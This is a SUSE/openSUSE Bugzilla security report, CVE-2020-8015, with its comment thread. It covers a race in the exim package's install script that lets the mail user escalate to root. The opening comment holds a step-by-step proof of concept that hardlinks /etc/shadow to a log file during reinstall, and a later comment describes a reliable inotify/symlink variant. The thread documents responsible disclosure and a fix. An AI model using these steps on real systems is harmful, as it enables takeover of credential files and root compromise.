~~Bug 1154183 - (CVE-2020-8015) VUL-0: CVE-2020-8015: exim: Local privilege escalation from user mail to root~~

Status:	RESOLVED FIXED
Classification:	Novell Products
Product:	SUSE Security Incidents
Component:	Audits
Version:	unspecified
Hardware:	Other Other
Priority:	P3 - Medium **Severity**: Normal
Target Milestone:	---
Assigned To:	Peter Poeml
QA Contact:	Security Team bot
URL:	
Whiteboard:	
Keywords:	
Depends on:	
Blocks:	1154062 Show dependency tree / graph

- Create test case
- Clone This Bug

Reported:	2019-10-16 09:52 UTC by Johannes Segitz
Modified:	2021-05-20 13:24 UTC (History)
CC List:	1 user (show)
See Also:	
Found By:	---
Services Priority:	
Business Priority:	
Blocker:	---

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this bug.

Johannes Segitz 2019-10-16 09:52:38 UTC Description

```
in %post
402 # create logfiles if missing
403 for i in var/log/exim/main.log var/log/exim/panic.log var/log/exim/reject.log;
do
404         if ! test -e $i; then touch $i; chown mail:mail $i; chmod 640 $i ; fi
405 done

Need to win a race and fs.protected_hardlinks=0

POC
zypper ar
https://download.opensuse.org/repositories/home:/jsegitz:/branches:/server:/mail/oper
(makes race easier to win)

as mail:
sh-5.0$ id
uid=8(mail) gid=12(mail) groups=12(mail)
sh-5.0$ pwd
/var/log/exim
sh-5.0$ rm *

as root:
zypper in -f exim

when it hangs as mail:
sh-5.0$ ln /etc/shadow main.log

wait until installation completes:
sh-5.0$ ls -lah /etc/shadow
-rw-r----- 2 mail mail 1.5K Oct 16 11:47 /etc/shadow
```

Johannes Segitz 2019-10-25 11:04:21 UTC Comment 1

Also works with symlinks. Still tricky to exploit since you need to win the race

Johannes Segitz 2020-02-18 15:23:21 UTC Comment 2

So I worked with this more and unfortunately it's pretty easy to exploit. I can reliably exploit this race by using inotify to watch the log directoy and change the file after the touch to a symlink. Because of this I assign CVE-2020-8015 to this

This issue will be handled according to our disclosure policy outlined in https://en.opensuse.org/openSUSE:Security_disclosure_policy

The information listed here is not public. Please
- do not talk to other people about this unless they're involved in fixing the issue
- do not make this bug public

In accordance with our policy we will make this issue public latest at
Internal CRD: 2020-05-18 or earlier
This is the latest possible date and we prefer to make it public earlier if the situation allows it. In that case we'll post a comment here setting the new date.

Only a member of the security team is allowed to make this issue public. Please speak to us if you want to take part in the public disclosure.

In doubt please talk to us on IRC (#security) or send us a mail (security@suse.de).

Johannes Segitz 2020-04-01 09:59:54 UTC Comment 3

can you please have a look? Thank you

Peter Wullinger 2020-04-01 10:06:21 UTC Comment 4

Well ... I'd like to, but

* I do not have access to bsc#1154062
* I also cannot verify with upstream, while CVE-2020-8015 is assigned, it has no information (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8015).

Upstream seems (yet) unaware of the problem, but I cannot report a problem that I have no information about.

Johannes Segitz 2020-04-01 12:15:52 UTC Comment 5

(In reply to Peter Wullinger from comment #4)
1154062 is just the tracker. I assume you couldn't see the first two comments. Are they visible now?

Btw. this is an issue with our packaging, not upstream

Peter Wullinger 2020-04-01 13:05:16 UTC Comment 6

(In reply to Johannes Segitz from comment #5)

> (In reply to Peter Wullinger from comment #4)
> 1154062 is just the tracker. I assume you couldn't see the first two
> comments. Are they visible now?

Yes, thank you.

sigh Okay, that is clearly a test-touch-chmod race.

I'm inclined to remove the loop altogether

* exim does not need the log files to be present, it will create them automatically. This is possible, since /var/log/exim is owned by mail:mail.
* exim creates logfiles with permissions LOG_MODE=0640 and runs with umask(0).
* exim.logrotate has missingok.

Peter Wullinger 2020-04-01 13:17:48 UTC Comment 7

(In reply to Peter Wullinger from comment #6)

```
> (In reply to Johannes Segitz from comment #5)
> > (In reply to Peter Wullinger from comment #4)
> > 1154062 is just the tracker. I assume you couldn't see the first two
> > comments. Are they visible now?
> 
> Yes, thank you.
> 
> *sigh* Okay, that is clearly a test-touch-chmod race.
> 
> I'm inclined to remove the loop altogether
> 
> * exim does not need the log files to be present, it will create them
> automatically. This is possible, since /var/log/exim is owned by mail:mail.
> * exim creates logfiles with permissions LOG_MODE=0640 and runs with
> umask(0).
> * exim.logrotate has missingok.
```

The change is now in the package. I will update the changelog with appropriate references once this is no longer embargoed.

Johannes Segitz 2020-04-02 07:42:25 UTC Comment 8

(In reply to Peter Wullinger from comment #7)
Thank you for the fix. I'll make it public now, please add the reference. I've seen that you sent it to Factory. A fix for Leap would be great too

Swamp Workflow Management 2020-04-02 09:00:05 UTC Comment 9

This is an autogenerated message for OBS integration:
This bug (1154183) was mentioned in
https://build.opensuse.org/request/show/790814 15.2 / exim

Swamp Workflow Management 2020-04-06 06:20:05 UTC Comment 10

This is an autogenerated message for OBS integration:
This bug (1154183) was mentioned in
https://build.opensuse.org/request/show/791601 15.1 / exim

Swamp Workflow Management 2020-04-09 19:13:51 UTC Comment 11

openSUSE-SU-2020:0491-1: An update that solves one vulnerability and has one errata is now available.

```
Category: security (moderate)
Bug References: 1154183,1160726
CVE References: CVE-2020-8015
Sources used:
openSUSE Leap 15.1 (src):    exim-4.88-lp151.4.12.1
```

Johannes Segitz 2020-07-20 12:18:58 UTC Comment 12

fixed, thank you

OBSbugzilla Bot 2021-05-06 16:50:08 UTC Comment 13

```
This is an autogenerated message for OBS integration:
This bug (1154183) was mentioned in
https://build.opensuse.org/request/show/891098 Backports:SLE-15-SP1 / exim
```

Swamp Workflow Management 2021-05-20 13:24:59 UTC Comment 14

```
openSUSE-SU-2021:0753-1: An update that fixes 30 vulnerabilities is now available.

Category: security (critical)
Bug References:
1079832,1136587,1142207,1154183,1160726,1171490,1171877,1173693,1185631
CVE References: CVE-2017-1000369,CVE-2017-16943,CVE-2017-16944,CVE-2018-6789,CVE-
2019-10149,CVE-2019-13917,CVE-2019-15846,CVE-2019-16928,CVE-2020-12783,CVE-2020-
28007,CVE-2020-28008,CVE-2020-28009,CVE-2020-28010,CVE-2020-28011,CVE-2020-
28012,CVE-2020-28013,CVE-2020-28014,CVE-2020-28015,CVE-2020-28016,CVE-2020-
28017,CVE-2020-28018,CVE-2020-28019,CVE-2020-28020,CVE-2020-28021,CVE-2020-
28022,CVE-2020-28023,CVE-2020-28024,CVE-2020-28025,CVE-2020-28026,CVE-2020-8015
JIRA References:
Sources used:
openSUSE Backports SLE-15-SP1 (src):    exim-4.94.2-bp151.2.4.1, libspf2-1.2.10-
bp151.4.1
```

First Last Prev Next This bug is not in your last search results.

Format For Printing - XML - Clone This Bug - Top of page